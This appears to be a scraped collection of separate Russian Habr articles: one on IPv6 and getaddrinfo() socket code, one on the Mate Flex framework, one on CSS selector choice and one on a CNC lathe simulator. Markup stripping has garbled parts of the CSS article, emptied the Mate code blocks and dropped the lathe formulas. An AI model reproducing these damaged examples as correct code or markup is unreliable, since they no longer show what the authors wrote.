[FAQ Net x86 .NET Framework 2.0](https://yadi.sk/d/NKXeyUWH3Zt8PQ)
[FAQ Net x64 .NET Framework 4.5.2](https://yadi.sk/d/CxY0aRGo1dmeSA)
[FAQ Net x86 .NET Framework 4.5.2](https://yadi.sk/d/ELyU4wt6ByDdJg) | https://habr.com/ru/post/651275/ | null | ru | null |
# IPv6: Есть ли повод для беспокойства?
Через некоторое время после того, как у меня появился мой первый модем, мне говорили, что Интернет-протокол скоро будет заменен на новый и гораздо более лучший. Человек, объясняющий это, в действительности не знал, чем же он будет лучше, но был уверен, что он будет отличным и он станет повсеместно используемым в ближайшее время. Почти два десятилетия спустя, мы все еще, в основном, используем IPv4 — все тот же протокол, который я использовал на моем первом модеме.
Новый протокол, который зовется IPv6, в настоящее время окончательно утвержден, и поддерживается большинством современных операционных систем, но все равно еще широко не используется. В этой статье я рассмотрю некоторые преимущества, которые он предоставляет и как обеспечить его поддержку в своих приложениях.
### Суть IPv6
Наиболее рекламируемой особенностью IPv6 является большее адресное пространство. Если вы что-нибудь читали о IPv6, то вы, наверное, знаете, что он увеличивает размер адреса с 32 бит до 128 бит. Этого более чем достаточно для того, чтобы каждый когда-либо рожденный человек имел частную сеть, большую, чем нынешний Интернет. Даже если все, что у вас есть (в том числе и вещи, которые не содержат какой-либо электроники) будет иметь свой собственный адрес IPv6, то вы все равно будете использовать только небольшую часть адресного пространства.
Это очень важно, потому что это может упростить маршрутизацию. Маршрутизаторы обычно соединяют относительно небольшое количество сетей. Простейший пример — ваш домашний маршрутизатор, который соединяет вашу локальную сеть с Интернетом. Для каждого пакета, который он получает, он должен проделать одно из трех действий: отбросить его, перенаправить во внутреннюю сеть, или перенаправить во внешнюю сеть.
Для типичной домашней сети это очень простое решение. Если адрес получателя находится в одном из зарезервированных внутренних диапазонов — отправить его внутрь, в противном случае отправить его наружу. Большие коммерческие маршрутизаторы должны принимать гораздо более сложные решения. С середины 90-х, когда адреса IPv4 начали рассматривать как ограниченный ресурс, они были поделены на 8-битные диапазоны. Это означает, что вы можете получить три смежных блока в совершенно разных сетях. При такой схеме выделения получается 2^24 возможных сетей, и маршрутизатор должен быть в состоянии решать, через какое соединение нужно отправить пакет, предназначенный для любой из них. 2^24 это чуть меньше 17 миллионов. К счастью, для упрощения вы можете объединять их узлы, но это по-прежнему не упрощает принятие решения о маршрутах.
В IPv6 теперь есть достаточно адресов, чтобы каждой стране или крупной сети можно было бы выделить широкий диапазон. Затем можно выделить поддиапазоны для подключенных сетей и так далее. Это иерархическое назначение (по крайней мере, теоретически) упрощает маршрутизацию.
Одна из основных жалоб на IPv6 исходит от людей, которые думают, что NAT является средством безопасности, и путают «маршрутизируемый» и «доступный». В IPv4, большинство домашних пользователей (и почти все мобильные пользователи) используют трансляцию сетевых адресов (NAT). Ваш компьютер имеет частный IP адрес, а маршрутизатор имеет публичный адрес. Каждый соединенный порт на вашем частном IP отображается на порт на публичный IP адрес. Это не обеспечивает никакой безопасности. Большинство реализаций NAT также по умолчанию отвергают соединения, инициируемые извне, в то время как некоторые реализации перенаправляют соединения к назначенному по умолчанию узлу.
Политика отвергания инициируемых извне соединений обеспечивает безопасность, но это обеспечивается файерволом маршрутизатора и не является свойственным для NAT. Большинство не-NAT файерволов будет делать то же самое.
То, что ваш компьютер имеет внешние маршрутизируемые адреса IPv6, вовсе не означает, что он доступен извне. Межсетевой экран, через который вы подключены к Интернету, по-прежнему определяет политики, согласно которым можно подключиться. Учитывая количество хаков используемых для проникновения через NAT чтобы заставить работать такие вещи, как например VoIP. Просто удивительно, что еще кто-то до сих пор думает, что NAT добавляет безопасности, но, видимо, некоторые так считают.
### Безопасность по умолчанию
Некоторые изменения в IPv6 относительно просты, и нужны для того, чтобы просто сделать обязательными те вещи, которые не являются обязательными частями IPv4. Одной из наиболее интересных вещей является IPsec. В настоящее время он используется в основном для VPN, создания шифрованного соединения между двумя маршрутизаторами и предотвращения перехвата любых промежуточных пакетов.
Используя IPv6, вы можете быть уверены, что любая конечная точка будет поддерживать IPsec, что означает, что вы всегда можете установить шифрованное соединение. В IPv4, в основном, вы будете использовать SSL для шифрования. Это происходит на несколько более высоком уровне в стеке протоколов и требует, чтобы каждое приложение, которое использует шифрование, должно быть специально настроено для этого.
В настоящее время, IPsec наиболее часто используется с ключами шифрования, которые являются общими для группы. Одним из альтернативных способов использования является внедрение открытого ключа, который может быть использован для установления IPsec соединения, в записи DNS. Чтобы это работало, запись DNS сама нуждается в подписании при помощи DNSSEC.
Если вы делаете ваши DNS запросы через IPsec, то вы имеете шифрованный запрос и ответ, поэтому никто не может сказать, какие сайты вы ищете (хотя, очевидно, ваш провайдер знает, на какие IP адреса вы подключались). В отличие от SSL, IPsec работает для всех видов соединений, в том числе UDP, так что вещи типа VoIP могут получать значительные преимущества от использования IPv6. Конечные точки можно соединить напрямую, без необходимости использования NAT, и все соединения могут быть зашифрованы.
Другим дополнением является групповая передача (multicast). В IPv4, один адрес в каждой подсети резервируется как широковещательный адрес. Пакеты, отправленные на этот адрес, доставляются каждому компьютеру в подсети. Это имело большой смысл, когда большинство сетей были общей шиной. Все пакеты отправлялись в любом случае, это только говорило каждому получателю, чтобы он принимал их. Посылка на широковещательный адрес была более эффективной, чем посылка двух копий пакета, если два человека хотели получить его.
Для коммутируемых сетей это не тот случай. Каждый компьютер может отправлять и получать определенное количество данных, и коммутатор будет распределять эти пакеты между машинами. Так, 4 компьютера в сети 100 Mb/s могут иметь 2 независимых передачи на 100Mb/s. Если вы отправляете пакет на широковещательный адрес, он рассылается всем, даже тем, кто не хочет его получать.
Групповая передача немного умнее. Она определяет группы компьютеров и назначает им общий IP адрес. Пакеты, отсылаемые на этот адрес, направляются на каждый компьютер, который решил войти в группу. В отличие от широковещательной передачи, групповая передача маршрутизируема. Вы можете иметь множество компьютеров в различных сетях в multicast-группе, и генерировать только два пакета, если исходный пакет достигает маршрутизатора, за которым имеются участники, состоящие в двух нижестоящих сетях. Если, к примеру, ваша интернет-радиостанция использует групповую передачу IPv6, то радиостанция будет передавать один поток пакетов вашему провайдеру. Ваш провайдер должен будет отправить копию потока для каждого из своих клиентов, которые слушают эту станцию. Когда пакеты попадут в ваш маршрутизатор, он отправит копию каждой машине в вашей сети, которая слушает этот поток.
Вы можете использовать тот же механизм для таких вещей, как конференц-звонки. В настоящее время, если у вас есть 10 человек в сессии видеоконференции, то либо каждый должен выдавать 10 копий потока со своей камеры, либо вам необходимо иметь где-то сервер, который сможет справиться с ретрансляцией. При групповой рассылке, все отправляли бы один экземпляр для 10 человек. В потребительских сетях, которые обычно имеют канал на прием гораздо шире, чем на отдачу, это особенно привлекательно.
Широковещательная трансляция также используется, когда вы не знаете, например, какой компьютер вы должны использовать для обнаружения сервисов. IPv6 заменяет этот способ при помощи anycast. Anycast — это нечто, похожее на multicast в группе адресов, ассоциированных с anycast-адресом, но в отличие от multicast, пакеты, отправленные на этот адрес доставляются только на одну машину. Это полезно для таких вещей, как, например, автоконфигурация.
### Сокеты и протоколы
Надеюсь, что теперь вы можете видеть, что поддержка IPv6 является полезной. Тогда возникает вопрос — как? Большинство сетевого кода либо использует сокеты Беркли или высокоуровневый API, построенный на них. Если вы используете высокоуровневый API, то вы, вероятно, уже имеете поддержку IPv6, предоставляемую кем-то другим. Если вы используете сокеты, то вам необходимо внести небольшие изменения в код.
API сокетов Беркли был основан на UNIX идее, что все есть файл. Вы общаетесь с удаленными машинами, используя дескрипторы с некоторыми дополнительными особенностями. Если у вас есть сокет, то API полностью протоколо-независимый. Используете ли вы IPv4, IPv6, AppleTalk, или какой-либо другой протокол, код будет одинаковый.
К сожалению, создание сокетов — это то место, где начинаются проблемы. Вы создаете сокет при помощи такой функции:
`int socket(int domain, int type, int protocol);`
Три параметра полностью определяют некоторые аспекты протокола. В большинстве случаев в конечном итоге вы жестко задаете domain как PF\_INET, подразумевая IPv4. Все становится еще хуже, когда вы связываете сокет с локальным адресом, а затем или подключаетесь, или принимаете подключения. Все соответствующие функции принимают указатель на структуру sockaddr в качестве аргумента.
Эта структура довольно проста, но вы никогда не используете ее напрямую. Вместо этого вы используете что-то вроде структуры sockaddr\_in, которая начинается так же, как структура sockaddr (с размером и семейством адреса), но содержит IPv4-адрес и номер порта. Вы обычно используете gethostbyname(), чтобы определить эти параметры.
Если вы хотите поддерживать еще один протокол, то вам необходимо добавить другую ветвь кода с другим механизмом определения. Одним из последних усовершенствований в версии POSIX от 2004 года является определение функции getaddrinfo(). Она определяет сервер, заданный строковым описанием адреса и сервиса. Это означает, что вам не придется жестко задавать номера портов. Использовать ее довольно просто. Этот код будет подключаться к серверу InformIT по HTTP, используя любые доступные соединения:
> `struct addrinfo hints, \*results;
>
> memset(&hints, 0, sizeof(hints));
>
> hints.ai\_family = PF\_UNSPEC;
>
> hints.ai\_socktype = SOCK\_STREAM;
>
> int error = getaddrinfo("informit.com", "http", &hints, &results);
>
> if (error) { /\* fail \*/ return -1; }
>
> int s = -1;
>
> for (struct addrinfo \*res = results;
>
> res != NULL && s < 0 ;
>
> res = res->ai\_next)
>
> {
>
> s = socket(res->ai\_family, res->ai\_socktype,
>
> res->ai\_protocol);
>
> //If the socket failed, try the next address
>
> if (s < 0) { continue ; }
>
> //If the connection failed, try the next address
>
> if (connect(s, res->ai\_addr, res->ai\_addrlen) < 0)
>
> {
>
> close(s);
>
> s = -1;
>
> continue;
>
> }
>
> }
>
> freeaddrinfo(results);
>
> return s;
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Первые два аргумента getaddrinfo() являются именем сервера и именем протокола. Преобразователь найдет сочетание адреса сервера и сервиса. На некоторых платформах, таких как OS X, это даже включает в себя определение записи DNS SRV, так что эта операция настроит порт правильно, даже если сервер работает на нестандартном порту, пока запись DNS содержит этот факт. Структура hints используется для задания некоторых ограничений на возвращаемую информацию об адресе. В этом случае, мы хотим только поточные сокеты, и мы готовы принять их в абсолютно любом протоколе, поддерживаемом сетевым стеком. Последний аргумент является указателем, который используется для возврата массива структур информации об адресах.
Обратите внимание, что все аргументы в socket() и connect() целиком являются данными об адресах, возвращенными вызовом функции getaddrinfo(). Ничто из этого кода вообще не говорит о том, используете ли вы IPv4, IPv6, или какой-либо другой новый протокол. До тех пор, пока ваша операционная система поддерживает протокол, этот код можно использовать.
### IPv6: Протокол современности
Надеюсь, что в этой статье вы увидели, что IPv6 предоставляет некоторые захватывающие особенности, которые делают его заслуживающим поддержки. И, самое главное, что поддержка его стоит не так уж много усилий. Нет никаких оправданий для написания нового кода сокетов, который не поддерживает IPv6. И так же довольно просто обновление старого кода для его поддержки.
Я должен был рассмотреть функцию getaddrinfo(), когда я писал эту статью, потому что я обернул ее в класс, который берет имена хоста и протокола в качестве аргументов и через некоторое время возвращает соединенный сокет, и сейчас я просто использую этот класс во всем сетевом коде.
Свободных IPv4 адресов становится все меньше и меньше, и похоже, что все больше провайдеров используют NAT для всех своих клиентов. В какой-то момент устанавливать соединения end-to-end друг с другом напрямую смогут только те, кто использует приложения, которые поддерживают протокол IPv6 «из коробки». Если ваш код до сих пор не может этого, сейчас самое время исправить его. | https://habr.com/ru/post/105059/ | null | ru | null |
# Пример использования Mate Flex Framework
 Сразу же после появления на свет вышеуказанного фреймворка я понял — это именно то, чего так долго не хватало. Влезать в кабалу создания огромного количества классов используя фреймворки Cairngorm или PureMVC очень не хотелось, а с приходом *[Mate](http://mate.asfusion.com/ "Mate Flex Framework")*, появилась возможность уменьшить общую связанность компонентов приложения и использовать безболезненный обмен сообщениями(событиями) декларируя их в «родном» mxml.
Некоторые коллеги постоянно норовят разузнать все детали и нюансы использования *Mate* на практике и в связи с этим я решил описать пример типового архитектурного решения основанного на модели реального приложения. Он похож на примеры с сайта фреймворка, но расписан пошагово с конкретными рекомендациями на всех уровнях.
Итак, я подготовил [проект](http://code.google.com/p/tearaway-tea/) ***opportunities*** (так сказать, подающий большие надежды) на *Google Code* с доступными [исходниками](http://code.google.com/p/tearaway-tea/source/browse/#svn/trunk/opportunities). Для начала рассмотрим его [он-лайн](http://tearaway-tea.googlecode.com/svn/trunk/opportunities/index.html):
[](http://tearaway-tea.googlecode.com/svn/trunk/opportunities/index.html)
У нас есть список сущностей с возможностью редактирования каждой из них в отдельной форме, а также добавлять новые — проще не бывает. Следующее решение, как всегда покажется необоснованно сложным для подобного примера, но незабываем, что перед нами стоит задача ознакомления с *Mate*, а не написания примера в 25 строк экшен-скрипта.
Я использую, так называемую схему *«двустороннего коммуницирования посредством модели и инжектинга»*, на сайте фреймворка есть отличная диаграма как этого так и других приёмов:
[](http://Mate.asfusion.com/page/documentation/diagrams)
Рассмотрим каждый элемент диаграмы основываясь на классах моего примера. Пункт 3 исключаем, так как для доступа к серверу мы используем специальный класс сервиса OpportunitiesMockService наследуемый от [ServiceBase](http://tearaway-tea.com/blog/2009/02/оптимальный-паттерн-для-работы-с-remoteobject/ "Паттерн для работы с RemoteObject").
### Model
Я определил три класса модели. Самый элементарный, зависимый от представления, класс элемента списка [OpportunityVO](http://code.google.com/p/tearaway-tea/source/browse/trunk/opportunities/src/com/tearaway_tea/opportunities/model/OpportunityVO.as "Class Definition"). Второй класс [OpportunitiesDataProvider](http://code.google.com/p/tearaway-tea/source/browse/trunk/opportunities/src/com/tearaway_tea/opportunities/data/OpportunitiesDataProvider.as "Class Definition"), является списком экземпляров OpportunityVO, он инкапсулирует в себе вызовы серверных методов и для удобства наследуется от ArrayCollection. Это даёт возможность использовать его провайдером данных для большинства списочных компонентов из Flex фреймворка.
Третий — [OpportunityDataProvider](http://code.google.com/p/tearaway-tea/source/browse/trunk/opportunities/src/com/tearaway_tea/opportunities/data/OpportunityDataProvider.as "Class Definition"), предназначен для работы с конкретным редактируемым OpportunityVO из списка. У него есть публичное свойство *opportunity*, а также методы для манипуляций с ним. Этот класс диспатчит события *opportunityCreated* и *opportunitySaved* типа DataProviderEvent, которые информируют о завершении обработки opportunity(так как эти действия зачастую связаны с вызовом серверных методов, мы неможем ожидать их синхронного выполнения в потоке вызова методов класса). Реализация класса очень простая, но в реальности, в него нужно помещать все трансформации, инициализации и прочие процедуры над элементом, которые не связаны с логикой работы представления, и вполне успешно могут быть отделены от него.
Так же есть вспомогательный класс [OpportunityViewState](http://code.google.com/p/tearaway-tea/source/browse/trunk/opportunities/src/com/tearaway_tea/opportunities/data/OpportunityViewState.as "Class Definition"), который используется для хранения информации о текущей видимой форме в представлении. Подобные классы приходится создавать для решения коммуникационных нюансов *Mate*, далее я их детально опишу.
### View
Для представления также определены три класса, первый [OpportunitiesListView](http://code.google.com/p/tearaway-tea/source/browse/trunk/opportunities/src/com/tearaway_tea/opportunities/views/OpportunitiesListView.mxml "Class Definition") для показа списка элементов. У него есть одно публичное свойство *dataProvider*, а также, он диспатчит два события *createOpportunity* и *editOpportunity* типа OpportunityEvent, которые говорят сами за себя.
Второй класс [OpportunityEditView](http://code.google.com/p/tearaway-tea/source/browse/trunk/opportunities/src/com/tearaway_tea/opportunities/views/OpportunityEditView.mxml "Class Definition") определяется свойством *opportunity*, в которое нужно присваивать непосредственно объект редактирования OpportunityVO, а также он диспатчит другие два события *saveOpportunity* и *closeOpportunity* также типа OpportunityEvent.
Третий — [Index](http://code.google.com/p/tearaway-tea/source/browse/trunk/opportunities/src/com/tearaway_tea/opportunities/views/Index.mxml "Class Definition"), является композицией предыдущих. В нём доступно свойство *selectedIndex*, которое определяет текущую видимую форму.
Это наше представление. Как видим, его классы наследуются от стандартных контейнеров Flex фрейворка, они не имеют зависимостей от провайдеров данных модели, являются пассивными и выглядят как довольно самодостаточные компоненты для повторного использования — то, что нам и нужно.
### Mate Event Maps
Перейдём непосредственно к роли *Mate* в связывании модели и представления. Все декларации этого фреймворка описываются в так называемых *«картах событий»*. Это MXML файлы, которые поддерживают биндинг и все остальные удобства *Flex Builder-а*. По мере увеличения проекта, эти карты довольно сильно разростаются, так что для разных групп коммуникаций я завожу отдельные файлы. В данном примере их четыре.
Одна из карт — [DataInjectionMap](http://code.google.com/p/tearaway-tea/source/browse/trunk/opportunities/src/com/tearaway_tea/opportunities/maps/DataInjectionMap.mxml "Map Definition"), описывает связи между представлением и моделью, выполняется только один раз при запуске приложения. Это частичная реализация паттерна *IoC(Inversion of Control)*, которая работает необычным образом: при необходимости, она создаёт только экземпляры классов модели и слушая события родительского Application, в момент создания представлений, выполняет описанные связывания. Типичная нотация с использованием тегов Injectors и PropertyInjector:
````
````
Здесь мы задаем связь на основе биндинга между OpportunitiesListView и OpportunitiesDataProvider, посредством свойства *dataProvider*, данные которого в результате попадут в DataGrid.
Остальные: [OpportunitiesEventMap](http://code.google.com/p/tearaway-tea/source/browse/trunk/opportunities/src/com/tearaway_tea/opportunities/maps/OpportunitiesEventMap.mxml "Map Definition"), [DataProviderEventMap](http://code.google.com/p/tearaway-tea/source/browse/trunk/opportunities/src/com/tearaway_tea/opportunities/maps/DataProviderEventMap.mxml "Map Definition"), [NavigationEventMap](http://code.google.com/p/tearaway-tea/source/browse/trunk/opportunities/src/com/tearaway_tea/opportunities/maps/NavigationEventMap.mxml "Map Definition"), непосредственно описывают действия, которые должны происходить при попадении в поле видимости *Mate(Event Bus)* каких-либо событий как из представления так и из классов модели. Например, нотация с использованием тегов EventHandlers, MethodInvoker и EventAnnouncer:
````
````
Это выражение читается так: в тот момент когда представление продиспатчит событие *editOpportunity*(по-сути нажатие кнопки Edit), у экземпляра класса модели OpportunityDataProvider должна запуститься операция редактирования экземпляра класса OpportunityVO, которые доступен из события.
Так же, посылается специальное событие NavigationEvent, в результате которого представление должно переключиться в режим редактирования. Внутри класса OpportunityDataProvider, должен произойти вызов серверного метода для получение экземпляра OpportunityVO с последним состоянием элемента(но в моём примере, я упростил схему, и сохраняю в свойстве *opportunity* модели, тот же объект). Далее, так как мы указали связывание*(injection)* в DataInjectionMap между OpportunityEditView и OpportunityDataProvider по свойству opportunity, редактируемый элемент будет доступен в представлении.
В свойствах *generator* или *source* вышеописанных тегов, мы указываем класс модели, не экземпляр этого класса. *Mate* автоматически создаст экземпляр в нужный момент, причём, по-умолчанию, только один раз. Фреймворк имеет внутренний кеш для всевозможных экземпляров модели или событий, и ищет там необходимые объекты для повторного использования. Эта схема похожа на паттерн *Singleton*, но она гораздо практичнее, так как нет лишнего связывания между сущностями системы, которые неизбежны при использовании *«одиночек»*(кстати, довольно сильный недостаток прочих фреймворков типа *Cairngorm* или *PureMVC*).
И напоследок, рассмотрим специфику карты NavigationEventMap, в которой описаны ответные действия на события NavigationEvent. В общем-то, переключение режимов представления могло бы быть реализовано непосредственно в нём. Но, как показала практика, в больших проектах, визуально легче контролировать подход внешнего управления представлением. Например, если необходимо подключить *deep-linking*(поддержку изменения адресной строки броузера), мы введём ещё один тип событий BrowserNavigationEvent, которые будут использовать уже готовые списки действий в картах *Mate*. Итак, нотация:
````
````
При попадении в *Mate* события *navigateEditView*, вызывается метод у вспомогательного класса модели OpportunityViewState, который является проксирующим. Я не хотел бы вводить для этих целей этот класс, а бы присваивал значения в *selectedIndex* прямо в классе представления Index, но в свойство *generator* тега MethodInvoker(как и всех других тегов), нельзя указывать классы визуальных компонентов(то-есть можно, но это будет неправильно, так как фреймворк создаст экземпляр, недоступный никому). Суть в том, что, как я уже писал выше, *Mate* не создаёт экземпляры визуальных компонентов(и не пытается, это делает MXML), он слушает события всего приложения, и когда компонент попадёт в *display list* флеш плеера, фреймворк начинает с ним «сотрудничать»(зачастую для определения(*injection*) зависимостей). Получается, что есть внутренний кеш всех созданных классов самим фреймворком и отдельный список компонентов, которыми заведует сам флеш плеер и они не пересекаются между собой.
Вот и всё. Информацию о всех доступных тегах фреймворка можна найти в [документации](http://mate.asfusion.com/page/documentation/tags "Mate's Tags Description") на сайте *Mate*. Надеюсь описание не получилось чересчур запутанным. С удовольствием отвечу на все адекватные вопросы по теме.
P.S. Кстати, на днях вышло обновление *Mate* до версии *0.8.7*, в котором появилась возможность задавать связи(*injection*) между интерфейсами. | https://habr.com/ru/post/55437/ | null | ru | null |
# Простое правило выбора CSS селекторов
Я хотел написать комментарий к [статье о том куда отправляются хорошие верстальщики](http://habrahabr.ru/post/203838/), но мне стало лень. А потом опять стало не лень, но мыслей накопилось уже на целый пост.
Возьмем самый первый попавшийся пример из приведенной статьи. Там в макете, в самом верху, есть полоска на всю ширину окна:
Автор принимает решение сверстать эту полоску с помощью тега `---`, вот так:
```
---
```
```
.whitesquare hr {
/* стили для полоски */
}
```
Это просто супер пример несоблюдения моего правила.
Чтобы применять правило, которое я попытаюсь сформулировать чуть позже, нужно научиться вербализировать селекторы. Что говорит селектор `".whitesquare hr"`? Если помнить что `.whitesquare` это ``, то селектор говорит: "все
---` на сайте".
Посмотрим еще раз на CSS:
```
"все
---
на сайте" {
/* стили для верхней полоски, и только для нее */
}
```
Это как-то странно. То ли автор не собирался больше использовать тег `---`, то ли собирался для новых `---` сбрасывать эти стили. Я не знаю, но думаю, что в любом случае селектор выбран неправильно.
Возьмем еще один пример, уже не из статьи. Меню.
```
* ...
* ...
* ...
```
Нам нужно задать стили для ссылок. Какой выбрать селектор?
* `a` — все ссылки на сайте? Вряд ли ...
* `li a` — все ссылки на сайте, которые внутри `? Тоже нет.`
`.main-menu li a` — ссылка, которая внутри ``, который внутри .main-menu`? Не совсем. В нашем меню все ссылки внутри `— это лишнее уточнение.`
`.main-menu a` — любая ссылка внутри `.main-menu`? То что нужно.`
Пора сформулировать правило, но у меня получилось не правило, а небольшой алгоритм:
1. Вербализируйте селектор. Ответьте на вопрос: какие элементы мне нужны? Каким элементам я хочу задать этот стиль? Ответ может быть: все ссылки на сайте; заголовок в блоке статьи; текстовое поле в форме с темой оформления ".dark-form"; эта уникальная кнопка, которая нигде не повторяется и т.д.
2. Составьте минимально специфичный селектор выбирающий элементы которые вам нужны и только их.
А теперь всё-таки правило:
> Пишите в селекторе то, что вы действительно имеете в виду.` | https://habr.com/ru/post/203942/ | null | ru | null |
# Имитационная модель процесса обработки материала резанием на токарном станке с ЧПУ
Введение
--------
Методология разработки имитационных моделей и симуляторов по различным техническим дисциплинам в основном ориентирована на снижение уровня абстракции учебного материала. Наряду с теоретическим учебным материалом наглядное имитационное моделирование того или иного технологического процесса или операции позволяет учащемуся в более полной мере освоить преподаваемый материал с максимальным приближением к естественным условиям. При этом имитационные модели и симуляторы могут рассматриваться только как вспомогательный инструмент учебного процесса. Основное назначение данной категории образовательных ресурсов – базовое (начальное) ознакомление с принципами работы сложных технических объектов в условиях отсутствия возможности использования реального промышленного оборудования, либо в целях предварительного повышения компетенции учащегося перед прохождением производственной практики.
Особую актуальность представляет методология совмещения образовательных задач с инженерно-прикладными задачами в едином инструментарии, отвечающем современному уровню развития технологий и промышленности в целом. Здесь идёт речь о комплексной реализации функций автоматизированного проектирования (CAD/CAM) и принципов имитационно-численного моделирования технологических процессов.
Основная тенденция внедрения имитационных учебных моделей в практику инженерного образования заключается в достижении максимальной интерактивности. Необходимым условием здесь является возможность выполнения «ошибочных» действий учащимся и адекватное реагирование имитационной модели на эти действия с целью достижения требуемого уровня понимания учебного материала учащимся. Чем выше степень свободы моделируемого объекта (устройства или станка), тем больший эффект реального взаимодействия достигается в процессе обучения.
Цель и задачи проекта
---------------------
Целью представленного проекта является разработка учебно-методического программного продукта (имитационной модели или симулятора), предназначенного для базового ознакомления начинающих специалистов машиностроительного профиля с принципами программирования операций токарной обработки деталей с использованием стандартного G/M-кода.
Области применения программного продукта в первую очередь охватывают образовательный процесс с использованием вычислительной техники в форме лабораторных занятий студентов в компьютерных классах, дистанционного обучения, а также демонстрационной поддержки лекционного материала по группе направлений подготовки и специальностей (ОКСО) «Металлургия, машиностроение и материалообработка». Гибкая функциональность и мобильность программного продукта также позволяют использовать его в качестве прикладного инструмента для верификации и предварительного тестирования управляющих программ операций токарной обработки материалов на станках с числовым программным управлением (ЧПУ) с применением программного кода Fanuc (система кодов А).
Функциональные возможности симулятора должны обеспечивать выполнение следующих задач:
* составление текстов управляющих программ операций токарной обработки в формате стандартного G/M кода и проверку управляющих программ на синтаксические и технологические ошибки;
* воспроизведение на экране вычислительного устройства трёхмерных графических моделей основных узлов имитируемого оборудования, технологической оснастки и металлорежущего инструмента с целью учебной имитации процесса токарной обработки материала;
* трехмерную визуализацию процесса формообразования детали при токарной обработке по составленным управляющим программам;
* визуализацию траекторий перемещения режущего инструмента в рабочей плоскости станка;
* осуществление интерактивного взаимодействия пользователя с имитационной моделью оборудования.
Техническим преимуществом разрабатываемого симулятора является относительно низкая ресурсоёмкость и мультиплатформенная поддержка, позволяющие использовать данный программный продукт на различных вычислительных устройствах, включая интерактивные доски, смартфоны, планшетные и настольные компьютеры, что, в свою очередь, повышает гибкость и мобильность учебного процесса, соответствуя современному уровню информатизации образования.
Объект моделирования
--------------------
В основу трёхмерной имитационной модели заложен токарный станок [ТС1625ФЗ](https://tc1625.com/) производства Тверского станкостроительного завода АО «СтанкоМашКомплекс» с горизонтальной станиной и классической компоновкой узлов, оснащённый системой ЧПУ, восьмипозиционной револьверной головкой, трёхкулачковым токарным патроном, задней бабкой, системой подачи смазочно-охлаждающей жидкости и другими узлами. Обработка материала выполняется по двум координатам в горизонтальной плоскости станка. Основные технические характеристики прототипа оборудования представлены в таблице 1.
В симуляторе моделируется комплект режущего инструмента (сборные токарные резцы и свёрла), включающий 185 наименований. Типы используемых сменных режущих пластин токарных резцов представлены в таблице 2.
Также в модели используются резцы со специальными резьбонарезными пластинами и свёрла. На рисунке 1 представлена геометрическая модель сборного токарного резца.
**Рисунок 1** – Геометрическая модель сборного токарного резца и обозначение основных характеристик сменной режущей пластины: главного угла в плане φ1, вспомогательного угла в плане φ2, диаметра вписанной окружности D, радиуса скругления при вершине R
Краткое описание метода геометрического моделирования формообразования детали при токарной обработке
----------------------------------------------------------------------------------------------------
В рассматриваемом проекте применяется упрощённая модель формообразования обрабатываемой детали, основанная на допущении о постоянстве осевой симметрии детали на протяжении всего процесса токарной обработки [1, 2]. Данная модель исключает возможность построения винтовых поверхностей, а резьбовые элементы деталей изображаются условно – участками концентрической ребристости. Основные вычисления по данной методике формализованы геометрической задачей пересечения двух плоских замкнутых контуров в рабочей плоскости станка – контура обрабатываемой детали и контура режущего инструмента. На основе формообразующего контура, представляющего собой логическую разность при пересечении двух исходных контуров, образуется трёхмерная поверхность моделируемой детали путём равномерного поворота формообразующего контура вокруг главной оси станка (оси вращения обрабатываемой детали). Применяемый метод позволяет моделировать формообразование детали типа тела вращения в реальном времени при относительно низких вычислительных затратах.
Первоначальным этапом алгоритма является формирование множества точек Wi контура обрабатываемой детали (рис. 2.а). В исходном состоянии (до начала процесса обработки) контур детали включает четыре точки, при этом продольное сечение детали представлено прямоугольником. В последующих итерациях алгоритма исходным контуром детали является ранее рассчитанный формообразующий контур. Контур описывается против часовой стрелки.
На втором этапе алгоритма формируется контур режущей пластины токарного резца с учётом её геометрических характеристик – габаритных размеров, главного угла в плане и радиуса скругления при вершине. Контур режущей пластины описывается точками Cj в противоположном направлении по отношению к контуру детали (по часовой стрелке).
**Рисунок 2** – К задаче расчёта формообразующего контура обрабатываемой детали:
пересечение исходных контуров детали и режущей пластины (а); получение формообразующего контура детали как логической разности исходных контуров (б)
Третий этап алгоритма заключается в определении множества точек пересечения Ik исходных контуров. При этом найденные точки пересечения индексируются в соответствии с тем, насколько ближе они лежат к начальной точке контура детали, и включаются в обобщённое множество точек обоих контуров в порядке индексации. Определение координат точек пересечения осуществляется для двух отрезков, принадлежащих двум разным контурам (рис. 3).
**Рисунок 3** – К определению координат точки пересечения двух отрезков
Для отрезков P1–P2 и P3–P4, принадлежащих двум пересекающимся прямым L1 и L2, следует:
Координаты x, y точки пересечения прямых L1 и L2 определяются матричным уравнением:
следовательно:
Точки обобщённого множества, принадлежащие контуру режущей пластины, за пределами интервалов между точками пересечения, исключаются из обобщённого множества точек обоих контуров. Таким образом, формируется окончательное множество точек Fn, описывающих формообразующий контур детали (рис. 2.б). Полученный контур описывается в том же направлении, что и исходный контур детали.
Рассмотренный алгоритм представляет собой упрощенный вариант алгоритма отсечения Вейлера–Азертона [3]. Ряд упрощений алгоритма обусловлен геометрическими особенностями решаемой задачи, а именно: постоянным условием выпуклости контура режущей пластины, условиями обнаружения столкновений нерабочих элементов резца (державки) с обрабатываемой деталью, условием исключения полностью отсекаемой части детали из вычислительного процесса при моделировании операции отрезки и др.
В силу того, что моделирование формообразования детали осуществляется в процессе перемещения режущего инструмента, на каждой итерации алгоритма происходит дискретное изменение координат точек контура режущей пластины относительно контура обрабатываемой детали. Шаг дискретности в данном случае обусловлен заданным параметром движения режущего инструмента (величиной рабочей подачи) и временем итерации цикла симуляции. В данном случае шаг дискретности перемещения инструмента (δ) может превышать линейные размеры области перекрытия контуров режущей пластины и обрабатываемой детали (рис. 4.а), что приводит к появлению артефактов («непрорезанных» участков) формообразующего контура детали (рис. 4.б).
**Рисунок 4** – Проблема дискретности вычисления пересечений контуров
Одним из решений описанной проблемы является метод Джарвиса, заключающийся в построении минимальной выпуклой оболочки вокруг множества вершин контуров режущей пластины в текущем и предшествующем дискретных состояниях (рис. 5).
**Рисунок 5** – Построение минимальной выпуклой оболочки вокруг контуров режущей пластины в двух последовательных дискретных состояниях
В данном случае осуществляется расчет пересечения контура обрабатываемой детали с контуром минимальной выпуклой оболочки, обеспечивающей требуемую область перекрытия в промежутках между дискретными состояниями режущего инструмента. При построении минимальной выпуклой оболочки особенно важным является условие неизменности направления обхода её контура. Минимальная выпуклая оболочка может охватывать несколько дискретных состояний режущей пластины при условии, что направление рабочей подачи резца не меняется в данных состояниях (резец перемещается по прямой траектории).
